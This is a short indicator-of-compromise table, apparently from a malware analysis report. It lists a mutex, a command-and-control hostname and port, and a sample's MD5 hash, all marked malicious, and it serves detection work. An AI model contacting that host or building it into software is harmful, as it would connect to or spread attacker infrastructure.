| Mutex | jG6VglHQp1XD8w7r Malicious |
0580b1a869cf7fa0aaa2db75b676cf93 |
| CnC | thought-write.gl.at.ply.gg Malicious |
0580b1a869cf7fa0aaa2db75b676cf93 |
| Port | 49124 Malicious |
0580b1a869cf7fa0aaa2db75b676cf93 |